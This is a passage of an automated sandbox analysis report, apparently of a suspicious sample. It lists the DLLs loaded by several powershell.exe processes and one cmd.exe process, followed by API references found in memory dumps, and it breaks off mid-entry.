"powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\3c82a5286b5172d5a68c8df2e09c4c40\System.Drawing.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\bee998043eb1e9badecd282a79540a5e\System.Windows.Forms.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00004416) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00007560) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00007560) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007140) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007140) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007140) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007140)33:T3182,Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00001496.00000000.152207.6D7E0000.00000004.mdmp") Found reference to API (Indicator: "RaiseFailFastException"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: 